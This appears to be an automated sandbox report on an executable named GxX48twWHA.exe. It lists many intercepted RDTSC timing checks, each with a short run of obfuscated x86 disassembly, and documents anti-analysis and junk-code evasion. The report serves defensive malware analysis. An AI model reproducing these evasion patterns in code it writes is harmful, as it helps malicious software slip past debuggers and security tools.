Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F159A3 second address: F159C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F7DD0B81655h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F159C4 second address: F15A0C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7DD0B815E5h 0x00000008 jc 00007F7DD0B815D6h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F7DD0B815D8h 0x00000019 ja 00007F7DD0B815EDh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F19B42 second address: F19B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B81658h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jc 00007F7DD0B81650h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F19F61 second address: F19F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F19FD2 second address: F1A018 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81659h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F7DD0B81648h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jo 00007F7DD0B81646h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1A4EC second address: F1A4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1A4F0 second address: F1A4F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1A4F9 second address: F1A527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815DDh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7DD0B815E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1A603 second address: F1A60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1ABC6 second address: F1ABCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1ABCA second address: F1ABD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1B60B second address: F1B610 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1B4E4 second address: F1B4EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1B4EA second address: F1B505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7DD0B815E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1D138 second address: F1D143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F7DD0B81646h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1DB83 second address: F1DB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1FB66 second address: F1FB76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1FE1B second address: F1FE4E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7DD0B815DFh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7DD0B815E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2309A second address: F2309E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2309E second address: F230A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F230A4 second address: F230A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2361B second address: F2363D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F7DD0B815D6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7DD0B815E0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2363D second address: F236AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F7DD0B81648h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov di, 04F4h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F7DD0B81648h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000019h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov ebx, dword ptr [ebp+122D3439h] 0x00000048 push 00000000h 0x0000004a mov di, C122h 0x0000004e push eax 0x0000004f pushad 0x00000050 jmp 00007F7DD0B81650h 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F236AE second address: F236B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F24764 second address: F24788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81655h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F7DD0B81658h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F24788 second address: F2478C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2478C second address: F24790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F24950 second address: F24955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F257D5 second address: F257DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F24955 second address: F2495A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F258CB second address: F258CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F258CF second address: F258E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F7DD0B815D8h 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F27461 second address: F27467 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2843F second address: F2846F instructions: 0x00000000 rdtsc 0x00000002 js 00007F7DD0B815EFh 0x00000008 jmp 00007F7DD0B815E9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jne 00007F7DD0B815D8h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F28674 second address: F28707 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push eax 0x00000009 mov ebx, dword ptr [ebp+122D3CA7h] 0x0000000f pop edi 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F7DD0B81648h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jbe 00007F7DD0B8164Ah 0x0000003e mov bx, E4FBh 0x00000042 add dword ptr [ebp+1244FD88h], edx 0x00000048 mov eax, dword ptr [ebp+122D0109h] 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007F7DD0B81648h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 0000001Dh 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 mov ebx, ecx 0x0000006a mov ebx, 4F1EA0E8h 0x0000006f push FFFFFFFFh 0x00000071 mov dword ptr [ebp+122D25F3h], edi 0x00000077 nop 0x00000078 jc 00007F7DD0B81650h 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 push eax 0x00000082 push edx 0x00000083 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2A6BD second address: F2A6CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B815DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2A6CD second address: F2A6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2C4AD second address: F2C557 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F7DD0B815D8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 je 00007F7DD0B815DCh 0x00000029 mov ebx, dword ptr [ebp+122D1D1Dh] 0x0000002f call 00007F7DD0B815E6h 0x00000034 jng 00007F7DD0B815DCh 0x0000003a or ebx, dword ptr [ebp+122D3BE3h] 0x00000040 pop ebx 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push ebx 0x00000046 call 00007F7DD0B815D8h 0x0000004b pop ebx 0x0000004c mov dword ptr [esp+04h], ebx 0x00000050 add dword ptr [esp+04h], 0000001Bh 0x00000058 inc ebx 0x00000059 push ebx 0x0000005a ret 0x0000005b pop ebx 0x0000005c ret 0x0000005d pushad 0x0000005e mov dword ptr [ebp+122D1F3Bh], ebx 0x00000064 mov ebx, dword ptr [ebp+122D3947h] 0x0000006a popad 0x0000006b push 00000000h 0x0000006d mov ebx, 386C2AD2h 0x00000072 push eax 0x00000073 pushad 0x00000074 jnl 00007F7DD0B815E1h 0x0000007a push eax 0x0000007b push edx 0x0000007c jno 00007F7DD0B815D6h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2D4D0 second address: F2D4DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F7DD0B81646h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2D4DF second address: F2D57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F7DD0B815D8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 jmp 00007F7DD0B815E2h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F7DD0B815D8h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 jl 00007F7DD0B815DCh 0x00000048 mov dword ptr [ebp+122D2184h], ecx 0x0000004e push 00000000h 0x00000050 jne 00007F7DD0B815DCh 0x00000056 xchg eax, esi 0x00000057 jns 00007F7DD0B815DEh 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F7DD0B815E7h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2E4E6 second address: F2E4EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2F4B4 second address: F2F537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F7DD0B815D8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D344Bh], ebx 0x0000002c jmp 00007F7DD0B815E3h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F7DD0B815D8h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000015h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d push 00000000h 0x0000004f mov ebx, dword ptr [ebp+1244FD8Fh] 0x00000055 push eax 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2F537 second address: F2F53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F31688 second address: F3168C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2B628 second address: F2B62E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F2E649 second address: F2E64F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ED9DC3 second address: ED9DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B81655h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ED9DDC second address: ED9DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F33DF4 second address: F33E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F7DD0B8164Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F33F4F second address: F33F73 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7DD0B815E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F37317 second address: F3731B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ECA63A second address: ECA646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jl 00007F7DD0B815D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ECA646 second address: ECA65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81651h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ECA65B second address: ECA668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ECA668 second address: ECA66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D811 second address: F3D815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D815 second address: F3D83B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7DD0B81646h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7DD0B81652h 0x00000013 jnc 00007F7DD0B81646h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D83B second address: F3D870 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7DD0B815DCh 0x0000000e pushad 0x0000000f jmp 00007F7DD0B815DFh 0x00000014 jmp 00007F7DD0B815DEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D870 second address: F3D877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D877 second address: F3D87C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D87C second address: F3D899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7DD0B81646h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F7DD0B8164Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D899 second address: F3D8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D059 second address: F3D05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D1D9 second address: F3D1DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D358 second address: F3D37C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7DD0B8164Ah 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F7DD0B81648h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push ecx 0x00000021 pushad 0x00000022 popad 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D37C second address: F3D382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F3D382 second address: F3D386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F43C39 second address: F43C43 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EC8ADB second address: EC8AE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F450D6 second address: F450DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F450DA second address: F450E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F7DD0B81646h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F4528A second address: F45290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F45290 second address: F452A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F452A1 second address: F452A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F49254 second address: F4925A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F4925A second address: F49262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F49262 second address: F49266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F4986E second address: F49889 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E5h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F49889 second address: F49890 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F499E9 second address: F499F6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7DD0B815D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
